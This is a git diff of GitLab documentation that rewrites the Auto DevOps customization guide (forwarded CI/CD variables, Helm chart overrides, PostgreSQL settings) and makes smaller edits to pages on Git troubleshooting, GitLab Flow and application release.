+To forward CI/CD variables to the build environment, add the names of the variables
+you want to forward to the `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` CI/CD variable.
+Separate multiple variables with commas.
-- When using Buildpacks, the forwarded variables are available automatically
- as environment variables.
-- When using a `Dockerfile`, the following additional steps are required:
+For example, to forward the variables `CI_COMMIT_SHA` and `CI_ENVIRONMENT_NAME`:
- 1. Activate the experimental `Dockerfile` syntax by adding the following code
- to the top of the file:
+```yaml
+variables:
+ AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES: CI_COMMIT_SHA,CI_ENVIRONMENT_NAME
+```
+
+If you use buildpacks, the forwarded variables are available automatically as environment variables.
- ```dockerfile
- # syntax = docker/dockerfile:experimental
- ```
+If you use a Dockerfile:
- 1. To make secrets available in any `RUN $COMMAND` in the `Dockerfile`, mount
- the secret file and source it prior to running `$COMMAND`:
+1. To activate the experimental Dockerfile syntax, add the following to your Dockerfile:
+
+ ```dockerfile
+ # syntax = docker/dockerfile:experimental
+ ```
- ```dockerfile
- RUN --mount=type=secret,id=auto-devops-build-secrets . /run/secrets/auto-devops-build-secrets && $COMMAND
- ```
+1. To make secrets available in any `RUN $COMMAND` in the `Dockerfile`, mount
+ the secret file and source it before you run `$COMMAND`:
+
+ ```dockerfile
+ RUN --mount=type=secret,id=auto-devops-build-secrets . /run/secrets/auto-devops-build-secrets && $COMMAND
+ ```
When `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` is set, Auto DevOps
enables the experimental [Docker BuildKit](https://docs.docker.com/build/buildkit/)
feature to use the `--secret` flag.
-## Custom Helm Chart
+## Custom Helm chart
Auto DevOps uses [Helm](https://helm.sh/) to deploy your application to Kubernetes.
-You can override the Helm chart used by bundling up a chart into your project
+You can override the Helm chart used by bundling a chart in your project
repository or by specifying a project CI/CD variable:
- **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml`
file in it, Auto DevOps detects the chart and uses it instead of the
- [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
- you to control exactly how your application is deployed.
+ [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app).
- **Project variable** - Create a [project CI/CD variable](../../ci/variables/index.md)
- `AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project
- variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository,
- and `AUTO_DEVOPS_CHART` with the path to the chart.
+ `AUTO_DEVOPS_CHART` with the URL of a custom chart. You can also create two project
+ variables:
-## Customize values for Helm Chart
+ - `AUTO_DEVOPS_CHART_REPOSITORY` - The URL of a custom chart repository.
+ - `AUTO_DEVOPS_CHART` - The path to the chart.
+
+### Customize Helm chart values
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` is used by default for Helm upgrades.
-You can override the default values in the `values.yaml` file in the
-[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either:
+To override the default values in the `values.yaml` file in the
+[default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), either:
-- Adding a file named `.gitlab/auto-deploy-values.yaml` to your repository, which is
- automatically used, if found.
-- Adding a file with a different name or path to the repository, and setting the
- `HELM_UPGRADE_VALUES_FILE` [CI/CD variable](cicd_variables.md) with
- the path and name.
+- Add a file named `.gitlab/auto-deploy-values.yaml` to your repository. This file is automatically used.
+- Add a file with a different name or path to the repository. Set the
+ `HELM_UPGRADE_VALUES_FILE` [CI/CD variable](cicd_variables.md) with the path and name of the file.
-Some values cannot be overridden with the options above. Settings like `replicaCount` should instead be overridden with the `REPLICAS`
-[build and deployment](cicd_variables.md#build-and-deployment-variables) CI/CD variable. Follow [this issue](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/31) for more information.
+Some values cannot be overridden with the options above, but [this issue](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/31) proposes to change this behavior.
+To override settings like `replicaCount`, use the `REPLICAS` [build and deployment](cicd_variables.md#build-and-deployment-variables) CI/CD variable.
-NOTE:
-For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` variable
-to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`.
+### Customize `helm upgrade`
-## Customize the `helm upgrade` command
+The [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) uses the `helm upgrade` command.
+To customize this command, pass it options with the `HELM_UPGRADE_EXTRA_ARGS` CI/CD variable.
-You can customize the `helm upgrade` command used in the [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image)
-by passing options to the command with the `HELM_UPGRADE_EXTRA_ARGS` CI/CD variable.
-For example, set the value of `HELM_UPGRADE_EXTRA_ARGS` to `--no-hooks` to disable
-pre-upgrade and post-upgrade hooks when the command is executed.
+For example, to disable pre- and post-upgrade hooks when `helm upgrade` runs:
-See [the official documentation](https://helm.sh/docs/helm/helm_upgrade/) for the full
-list of options.
+```yaml
+variables:
+ HELM_UPGRADE_EXTRA_ARGS: --no-hooks
+```
-## Custom Helm chart per environment
+For a full list of options, see [the official `helm upgrade` documentation](https://helm.sh/docs/helm/helm_upgrade/).
-You can specify the use of a custom Helm chart per environment by scoping the CI/CD variable
-to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable).
+### Limit a Helm chart to one environment
-## Customizing `.gitlab-ci.yml`
+To limit a custom chart to one environment, add the environment scope to your CI/CD variables.
+For more information, see [Limit the environment scope of CI/CD variables](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
-Auto DevOps is completely customizable because the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
-is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/index.md) file,
-and uses only features available to any implementation of `.gitlab-ci.yml`.
+## Customize `.gitlab-ci.yml`
-To modify the CI/CD pipeline used by Auto DevOps,
-[`include` the template](../../ci/yaml/index.md#includetemplate), and customize
-it as needed by adding a `.gitlab-ci.yml` file to the root of your repository
-containing the following:
+Auto DevOps is highly customizable because the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+is an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/index.md) file.
+The template uses only features available to any implementation of `.gitlab-ci.yml`.
-```yaml
-include:
- - template: Auto-DevOps.gitlab-ci.yml
-```
+To add custom behaviors to the CI/CD pipeline used by Auto DevOps:
-Add your changes, and your additions are merged with the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
-using the behavior described for [`include`](../../ci/yaml/index.md#include).
+1. To the root of your repository, add a `.gitlab-ci.yml` file with the following contents:
-If you need to specifically remove a part of the file, you can also copy and paste the contents of the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
-into your project and edit it as needed.
+ ```yaml
+ include:
+ - template: Auto-DevOps.gitlab-ci.yml
+ ```
-## Use multiple Kubernetes clusters
+1. Add your changes to the `.gitlab-ci.yml` file. Your changes are merged with the Auto DevOps template. For more information about
+how `include` merges your changes, see [the `include` documentation](../../ci/yaml/index.md#include).
-See [Multiple Kubernetes clusters for Auto DevOps](multiple_clusters_auto_devops.md).
+To remove behaviors from the Auto DevOps pipeline:
-## Customizing the Kubernetes namespace
+1. Copy the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+into your project.
+1. Edit your copy of the template as needed.
-In GitLab 14.5 and earlier, you could use `environment:kubernetes:namespace`
-to specify a namespace for the environment.
-However, this feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8),
-along with certificate-based integration.
-
-You should now use the `KUBE_NAMESPACE` environment variable and
-[limit the environments it is available for](../../ci/environments/index.md#scope-environments-with-specs).
+### Use individual components of Auto DevOps
-## Using components of Auto DevOps
+If you only require a subset of the features offered by Auto DevOps,
+you can include individual Auto DevOps jobs in your own
+`.gitlab-ci.yml`. Be sure to also define the stage required by each
+job in your `.gitlab-ci.yml` file.
-If you only require a subset of the features offered by Auto DevOps, you can include
-individual Auto DevOps jobs into your own `.gitlab-ci.yml`. Each component job relies
-on a stage that should be defined in the `.gitlab-ci.yml` that includes the template.
-
-For example, to make use of [Auto Build](stages.md#auto-build), you can add the following to
+For example, to use [Auto Build](stages.md#auto-build), you can add the following to
your `.gitlab-ci.yml`:
```yaml
@@ -268,26 +281,39 @@ include:
- template: Jobs/Build.gitlab-ci.yml
```
-See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs.
+For a list of available jobs, see the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml).
WARNING:
-Auto DevOps templates using the [`only`](../../ci/yaml/index.md#only--except) or
+From [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336),
+Auto DevOps templates that use the [`only`](../../ci/yaml/index.md#only--except) or
[`except`](../../ci/yaml/index.md#only--except) syntax have switched
-to the [`rules`](../../ci/yaml/index.md#rules) syntax, starting in
-[GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336).
-If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or
-`except` keywords, you must migrate your templates to use the
-[`rules`](../../ci/yaml/index.md#rules) syntax after the
-base template is migrated to use the `rules` syntax.
-For users who cannot migrate just yet, you can alternatively pin your templates to
+to the [`rules`](../../ci/yaml/index.md#rules) syntax.
+If your `.gitlab-ci.yml` extends these Auto DevOps templates and overrides `only` or
+`except`, migrate your templates to the
+[`rules`](../../ci/yaml/index.md#rules) syntax.
+If you cannot migrate, you can pin your templates to
the [GitLab 12.10 based templates](https://gitlab.com/gitlab-org/auto-devops-v12-10).
+## Use multiple Kubernetes clusters
+
+See [Multiple Kubernetes clusters for Auto DevOps](multiple_clusters_auto_devops.md).
+
+## Customizing the Kubernetes namespace
+
+In GitLab 14.5 and earlier, you could use `environment:kubernetes:namespace`
+to specify a namespace for the environment.
+However, this feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8),
+along with certificate-based integration.
+
+You should now use the `KUBE_NAMESPACE` environment variable and
+[limit its environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
+
## Use images hosted in a local Docker registry
You can configure many Auto DevOps jobs to run in an [offline environment](../../user/application_security/offline_deployments/index.md):
1. Copy the required Auto DevOps Docker images from Docker Hub and `registry.gitlab.com` to their local GitLab container registry.
-1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally-hosted images. For example:
+1. After the images are hosted and available in a local registry, edit `.gitlab-ci.yml` to point to the locally hosted images. For example:
```yaml
include:
@@ -305,10 +331,18 @@ You can configure many Auto DevOps jobs to run in an [offline environment](../..
## PostgreSQL database support
-To support applications requiring a database,
-[PostgreSQL](https://www.postgresql.org/) is provisioned by default. The credentials to access
-the database are preconfigured, but can be customized by setting the associated
-[CI/CD variables](cicd_variables.md). You can use these credentials to define a `DATABASE_URL`:
+WARNING:
+Provisioning a PostgreSQL database by default was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387766)
+in GitLab 15.8 and will no longer be the default from 16.0. To enable database provisioning, set
+the associated [CI/CD variable](cicd_variables.md#database-variables).
+
+To support applications that require a database,
+[PostgreSQL](https://www.postgresql.org/) is provisioned by default.
+The credentials to access the database are preconfigured.
+
+To customize the credentials, set the associated
+[CI/CD variables](cicd_variables.md). You can also
+define a custom `DATABASE_URL`:
```yaml
postgres://user:password@postgres-host:postgres-port/postgres-database
@@ -316,24 +350,20 @@ postgres://user:password@postgres-host:postgres-port/postgres-database
### Upgrading PostgreSQL
-WARNING:
-The CI/CD variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned
-PostgreSQL was changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499).
-To keep using the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to
-`1`.
-
-The version of the chart used to provision PostgreSQL:
-
-- Is 8.2.1 in GitLab 13.0 and later, but can be set back to 0.7.1 if needed.
-- Can be set to from 0.7.1 to 8.2.1 in GitLab 12.9 and 12.10.
-- Is 0.7.1 in GitLab 12.8 and earlier.
+GitLab uses chart version 8.2.1 to provision PostgreSQL by default.
+You can set the version from 0.7.1 to 8.2.1.
-GitLab encourages users to [migrate their database](upgrading_postgresql.md)
+If you use an older chart version, you should [migrate your database](upgrading_postgresql.md)
to the newer PostgreSQL.
+The CI/CD variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned
+PostgreSQL changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499).
+To use the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to
+`1`.
+
### Customize values for PostgreSQL Helm Chart
-> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/113) in auto-deploy-image v2, in GitLab 13.8.
+> [Introduced](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/issues/113) in GitLab 13.8 with auto-deploy-image v2.
To set custom values, do one of the following:
@@ -344,53 +374,26 @@ To set custom values, do one of the following:
and name.
- Set the `POSTGRES_HELM_UPGRADE_EXTRA_ARGS` [environment variable](cicd_variables.md#database-variables).
-### Using external PostgreSQL database providers
+### Use external PostgreSQL database providers
-While Auto DevOps provides out-of-the-box support for a PostgreSQL container for
-production environments, for some use cases, it may not be sufficiently secure or
-resilient, and you may want to use an external managed provider (such as
-AWS Relational Database Service) for PostgreSQL.
+Auto DevOps provides out-of-the-box support for a PostgreSQL container
+for production environments. However, you might want to use an
+external managed provider like AWS Relational Database Service.
-You must define environment-scoped CI/CD variables for `POSTGRES_ENABLED` and
-`DATABASE_URL` in your project's CI/CD settings:
+To use an external managed provider:
-1. Disable the built-in PostgreSQL installation for the required environments using
- environment-scoped [CI/CD variables](../../ci/environments/index.md#scope-environments-with-specs).
- For this use case, it's likely that only `production` must be added to this
- list. The built-in PostgreSQL setup for Review Apps and staging is sufficient.
+1. Disable the built-in PostgreSQL installation for the required environments with
+ environment-scoped [CI/CD variables](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
+ Because the built-in PostgreSQL setup for Review Apps and staging is sufficient, you might only need to
+ disable the installation for `production`.
![Auto Metrics](img/disable_postgres.png)
-1. Define the `DATABASE_URL` variable as an environment-scoped variable that is
+1. Define the `DATABASE_URL` variable as an environment-scoped variable
available to your application. This should be a URL in the following format:
```yaml
postgres://user:password@postgres-host:postgres-port/postgres-database
```
-You must ensure that your Kubernetes cluster has network access to wherever
-PostgreSQL is hosted.
-
-## Auto DevOps banner
-
-The following Auto DevOps banner displays for users with Maintainer or greater
-permissions on new projects when Auto DevOps is not enabled:
-
-![Auto DevOps banner](img/autodevops_banner_v12_6.png)
-
-The banner can be disabled for:
-
-- A user, when they dismiss it themselves.
-- A project, by explicitly [disabling Auto DevOps](index.md#enable-or-disable-auto-devops).
-- An entire GitLab instance:
- - By an administrator running the following in a Rails console:
-
- ```ruby
- Feature.enable(:auto_devops_banner_disabled)
- ```
-
- - Through the REST API with an administrator access token:
-
- ```shell
- curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled"
- ```
+1. Ensure your Kubernetes cluster has network access to where PostgreSQL is hosted.
diff --git a/doc/topics/autodevops/multiple_clusters_auto_devops.md b/doc/topics/autodevops/multiple_clusters_auto_devops.md
index cf775a35eb7..3411beedefb 100644
--- a/doc/topics/autodevops/multiple_clusters_auto_devops.md
+++ b/doc/topics/autodevops/multiple_clusters_auto_devops.md
@@ -26,7 +26,7 @@ To deploy your environments to different Kubernetes clusters:
1. [Configure each agent to access your project](../../user/clusters/agent/install/index.md#configure-your-agent).
1. [Install NGINX Ingress Controller](cloud_deployments/auto_devops_with_gke.md#install-ingress) in each cluster. Save the IP address and Kubernetes namespace for the next step.
1. [Configure the Auto DevOps CI/CD Pipeline variables](cicd_variables.md#build-and-deployment-variables)
- - Set up a `KUBE_CONTEXT` variable [for each environment](../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable). The value must point to the agent of the relevant cluster.
+ - Set up a `KUBE_CONTEXT` variable [for each environment](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). The value must point to the agent of the relevant cluster.
- Set up a `KUBE_INGRESS_BASE_DOMAIN`. You must [configure the base domain](requirements.md#auto-devops-base-domain) for each environment to point to the Ingress of the relevant cluster.
- Add a `KUBE_NAMESPACE` variable with a value of the Kubernetes namespace you want your deployments to target. You can scope the variable to multiple environments.
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index 0ca9c6fa3de..aba0b2d7fae 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -451,7 +451,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster:
1. If you are deploying your application for the first time in GitLab 13.0 or
later, no configuration should be required.
-1. In GitLab 12.10 and earlier, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart):
+1. In GitLab 12.10 and earlier, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-helm-chart-values):
```yaml
deploymentApiVersion: apps/v1
@@ -535,7 +535,7 @@ you must:
After configuring your worker to respond to health checks, run a Sidekiq
worker for your Rails application. You can enable workers by setting the
-following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart):
+following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-helm-chart-values):
```yaml
workers:
diff --git a/doc/topics/autodevops/troubleshooting.md b/doc/topics/autodevops/troubleshooting.md
index ef420323b32..dd715e95512 100644
--- a/doc/topics/autodevops/troubleshooting.md
+++ b/doc/topics/autodevops/troubleshooting.md
@@ -230,7 +230,7 @@ LAST SEEN TYPE REASON OBJECT
```
To change the port used for the liveness checks, pass
-[custom values to the Helm chart](customize.md#customize-values-for-helm-chart)
+[custom values to the Helm chart](customize.md#customize-helm-chart-values)
used by Auto DevOps:
1. Create a directory and file at the root of your repository named `.gitlab/auto-deploy-values.yaml`.
diff --git a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
index 4fafc89cac1..858562eef48 100644
--- a/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
+++ b/doc/topics/autodevops/upgrading_auto_deploy_dependencies.md
@@ -116,7 +116,7 @@ If your Auto DevOps project has an active environment that was deployed with the
1. Deploy your environment as usual. This deployment uses Helm v3.
1. If the deployment succeeds, you can safely run `<environment-name>:helm-2to3:cleanup`.
This deletes all Helm v2 release data from the namespace.
-1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable or set it to `false`. You can do this one environment at a time using [environment scopes](../../ci/environments/index.md#scope-environments-with-specs).
+1. Remove the `MIGRATE_HELM_2TO3` CI/CD variable or set it to `false`. You can do this one environment at a time using [environment scopes](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
#### In-Cluster PostgreSQL Channel 2
diff --git a/doc/topics/autodevops/upgrading_postgresql.md b/doc/topics/autodevops/upgrading_postgresql.md
index d43b1cae9e9..f18d5c49be5 100644
--- a/doc/topics/autodevops/upgrading_postgresql.md
+++ b/doc/topics/autodevops/upgrading_postgresql.md
@@ -174,7 +174,7 @@ deleted, you can choose to retain the [persistent volume](#retain-persistent-vol
NOTE:
You can also
-[scope](../../ci/environments/index.md#scope-environments-with-specs) the
+[scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) the
`AUTO_DEVOPS_POSTGRES_CHANNEL`, `AUTO_DEVOPS_POSTGRES_DELETE_V1` and
`POSTGRES_VERSION` variables to specific environments, for example, `staging`.
@@ -189,7 +189,7 @@ higher*. This is the
minimum PostgreSQL version supported by Auto DevOps. See also the list of
[tags available](https://hub.docker.com/r/bitnami/postgresql/tags).
1. Set `PRODUCTION_REPLICAS` to `0`. For other environments, use
- `REPLICAS` with an [environment scope](../../ci/environments/index.md#scope-environments-with-specs).
+ `REPLICAS` with an [environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable).
1. If you have set the `DB_INITIALIZE` or `DB_MIGRATE` variables, either
remove the variables, or rename the variables temporarily to
`XDB_INITIALIZE` or the `XDB_MIGRATE` to effectively disable them.
diff --git a/doc/topics/awesome_co.md b/doc/topics/awesome_co.md
index fc5f79b4d18..ff3c81a1b90 100644
--- a/doc/topics/awesome_co.md
+++ b/doc/topics/awesome_co.md
@@ -32,10 +32,10 @@ ci: migrated
### Run
-The `gitlab:seed:awesome_co` Rake task takes two arguments. `:name` and `:namespace_id`.
+The `ee:gitlab:seed:awesome_co` Rake task takes two arguments. `:name` and `:namespace_id`.
```shell
-$ bundle exec rake "gitlab:seed:awesome_co[awesome_co,1]"
+$ bundle exec rake "ee:gitlab:seed:awesome_co[awesome_co,1]"
Seeding AwesomeCo for Administrator
```
@@ -54,7 +54,7 @@ Each company (i.e. test data template) is represented as a Ruby file (.rb) in `d
### AwesomeCo (db/seeds/awesome_co/awesome_co.rb)
```shell
-$ bundle exec rake "gitlab:seed:awesome_co[awesome_co,:namespace_id]"
+$ bundle exec rake "ee:gitlab:seed:awesome_co[awesome_co,:namespace_id]"
Seeding AwesomeCo for :namespace_id
```
diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md
index e585b860b16..050d2415b26 100644
--- a/doc/topics/git/troubleshooting_git.md
+++ b/doc/topics/git/troubleshooting_git.md
@@ -40,6 +40,16 @@ git config http.postBuffer 52428800
The value is specified in bytes, so in the above case the buffer size has been
set to 50MB. The default is 1MB.
+### RPC failed; curl 92 HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2)
+
+This problem may be caused by a slow internet connection. If you use Git over HTTP
+instead of SSH, try one of these fixes:
+
+- Increase the POST buffer size in the Git configuration with `git config http.postBuffer 52428800`.
+- Switch to the `HTTP/1.1` protocol with `git config http.version HTTP/1.1`.
+
+If neither approach fixes the error, you may need a different internet service provider.
+
### Check your SSH configuration
**If pushing over SSH**, first check your SSH configuration as 'Broken pipe'
diff --git a/doc/topics/gitlab_flow.md b/doc/topics/gitlab_flow.md
index ffd9f36b369..89ab5e1cf2e 100644
--- a/doc/topics/gitlab_flow.md
+++ b/doc/topics/gitlab_flow.md
@@ -7,14 +7,29 @@ disqus_identifier: 'https://docs.gitlab.com/ee/workflow/gitlab_flow.html'
# Introduction to GitLab Flow **(FREE)**
-Git allows a wide variety of branching strategies and workflows.
-Because of this, many organizations end up with workflows that are too complicated, not clearly defined, or not integrated with issue tracking systems.
-Therefore, we propose GitLab flow as a clearly defined set of best practices.
-It combines [feature-driven development](https://en.wikipedia.org/wiki/Feature-driven_development) and [feature branches](https://martinfowler.com/bliki/FeatureBranch.html) with issue tracking.
+With Git, you can use a variety of branching strategies and workflows.
-Organizations coming to Git from other version control systems frequently find it hard to develop a productive workflow.
-This article describes GitLab flow, which integrates the Git workflow with an issue tracking system.
-It offers a transparent and effective way to work with Git:
+Because the default workflow is not specifically defined, many organizations
+end up with workflows that are too complicated, not clearly defined, or
+not integrated with their issue tracking systems.
+
+Your organization can use GitLab with any workflow you choose.
+
+However, if you are looking for guidance on best practices, you can use
+the GitLab Flow. This workflow combines [feature-driven development](https://en.wikipedia.org/wiki/Feature-driven_development)
+and [feature branches](https://martinfowler.com/bliki/FeatureBranch.html) with issue tracking.
+
+While this workflow used at GitLab, you can choose whichever workflow
+suits your organization best.
+
+## Git workflow
+
+Most version control systems have only one step: committing from the working copy to a shared server.
+
+When you convert to Git, you have to get used to the fact that it takes three steps to share a commit with colleagues.
+
+In Git, you add files from the working copy to the staging area. After that, you commit them to your local repository.
+The third step is pushing to a shared remote repository.
```mermaid
graph LR
@@ -25,27 +40,18 @@ graph LR
end
```
-When converting to Git, you have to get used to the fact that it takes three steps to share a commit with colleagues.
-Most version control systems have only one step: committing from the working copy to a shared server.
-In Git, you add files from the working copy to the staging area. After that, you commit them to your local repository.
-The third step is pushing to a shared remote repository.
After getting used to these three steps, the next challenge is the branching model.
Because many organizations new to Git have no conventions for how to work with it, their repositories can quickly become messy.
The biggest problem is that many long-running branches emerge that all contain part of the changes.
People have a hard time figuring out which branch has the latest code, or which branch to deploy to production.
Frequently, the reaction to this problem is to adopt a standardized pattern such as [Git flow](https://nvie.com/posts/a-successful-git-branching-model/) and [GitHub flow](https://scottchacon.com/2011/08/31/github-flow.html).
-We think there is still room for improvement. In this document, we describe a set of practices we call GitLab flow.
-
-For a video introduction of how this works in GitLab, see [GitLab Flow](https://youtu.be/InKNIvky2KE).
-
-## Git flow and its problems
-<!-- vale gitlab.Spelling = NO -->
+We think there is still room for improvement, and so we've proposed a set of practices called the GitLab Flow.
-![Git Flow timeline by Vincent Driessen, used with permission](img/gitlab_flow_gitdashflow.png)
+For a video introduction of this workflow in GitLab, see [GitLab Flow](https://youtu.be/InKNIvky2KE).
-<!-- vale gitlab.Spelling = YES -->
+## Problems with the Git flow
Git flow was one of the first proposals to use Git branches, and it has received
a lot of attention. It suggests a `main` branch and a separate `develop` branch,
@@ -68,6 +74,12 @@ Frequently, developers make mistakes such as merging changes only into `main` an
The reason for these errors is that Git flow is too complicated for most use cases.
For example, many projects do releases but don't need to do hotfixes.
+<!-- vale gitlab.Spelling = NO -->
+
+![Git Flow timeline by Vincent Driessen, used with permission](img/gitlab_flow_gitdashflow.png)
+
+<!-- vale gitlab.Spelling = YES -->
+
## GitHub flow as a simpler alternative
In reaction to Git flow, GitHub created a simpler alternative.
@@ -100,20 +112,21 @@ While this is possible in some cases, such as SaaS applications, there are some
- You have deployment windows - for example, workdays from 10 AM to 4 PM when the
operations team is at full capacity - but you also merge code at other times.
-In these cases, you can make a production branch that reflects the deployed code.
-You can deploy a new version by merging `development` into the production branch:
+In these cases, you can create a production branch that reflects the deployed code.
+You can deploy a new version by merging `main` into the `production` branch.
+While not shown in the graph below, the work on the `main` branch works just like in GitHub flow, i.e. with feature-branches being merged into `main`.
```mermaid
graph TD
subgraph Production branch in GitLab Flow
- A[development] ==>B[development]
- B ==> C[development]
- C ==> D[development]
+ A[main branch] ==>B[development]
+ B ==> C[main branch]
+ C ==> D[main branch]
E[production] ====> F[production]
C --> |deployment| F
- D ==> G[development]
- F ==> H[production]
+ D ==> G[main branch]
+ F ==> H[main branch]
end
```
diff --git a/doc/topics/plan_and_track.md b/doc/topics/plan_and_track.md
index 862c41aa4d9..8b1fb1657a0 100644
--- a/doc/topics/plan_and_track.md
+++ b/doc/topics/plan_and_track.md
@@ -58,3 +58,4 @@ Align your work across teams.
- [View health status](../user/project/issues/managing_issues.md#health-status)
- [Roadmaps](../user/group/roadmap/index.md)
- [Planning hierarchies](../user/group/planning_hierarchy/index.md)
+- [Objectives and key results](../user/okrs.md)
diff --git a/doc/topics/release_your_application.md b/doc/topics/release_your_application.md
index 851396f9bf3..819ed0a1224 100644
--- a/doc/topics/release_your_application.md
+++ b/doc/topics/release_your_application.md
@@ -6,66 +6,30 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Deploy and release your application **(FREE)**
-Deploy your application internally or to the public. Use
-flags to release features incrementally.
-
-## Deployments
-
-Deployment is the step of the software delivery process when your application gets deployed to its
-final, target infrastructure.
-
-### Deploy with Auto DevOps
-
-[Auto DevOps](autodevops/index.md) is an automated CI/CD-based workflow that supports the entire software
-supply chain: build, test, lint, package, deploy, secure, and monitor applications using GitLab CI/CD.
-It provides a set of ready-to-use templates that serve the vast majority of use cases.
-
-[Auto Deploy](autodevops/stages.md#auto-deploy) is the DevOps stage dedicated to software
-deployment using GitLab CI/CD.
-
-### Deploy applications to Kubernetes clusters
-
-With the extensive integration between GitLab and Kubernetes, you can safely deploy your applications
-to Kubernetes clusters using the [GitLab agent](../user/clusters/agent/install/index.md).
-
-#### GitOps deployments
-
-With the [GitLab agent for Kubernetes](../user/clusters/agent/install/index.md), you can perform
-[pull-based deployments of Kubernetes manifests](../user/clusters/agent/gitops.md). This provides a scalable, secure,
-and cloud-native approach to manage Kubernetes deployments.
-
-#### Deploy to Kubernetes from GitLab CI/CD
-
-With the [GitLab agent for Kubernetes](../user/clusters/agent/install/index.md), you can perform
-[push-based deployments](../user/clusters/agent/ci_cd_workflow.md) from GitLab CI/CD. The agent provides
-a secure and reliable connection between GitLab and your Kubernetes cluster.
-
-### Deploy to AWS with GitLab CI/CD
-
-GitLab provides Docker images that you can use to run AWS commands from GitLab CI/CD, and a template to
-facilitate [deployment to AWS](../ci/cloud_deployment). Moreover, Auto Deploy has built-in support
-for EC2 and ECS deployments.
-
-### General software deployment with GitLab CI/CD
-
-You can use GitLab CI/CD to target any type of infrastructure accessible by the GitLab Runner.
-[User and pre-defined environment variables](../ci/variables/index.md) and CI/CD templates
-support setting up a vast number of deployment strategies.
-
-## Environments
-
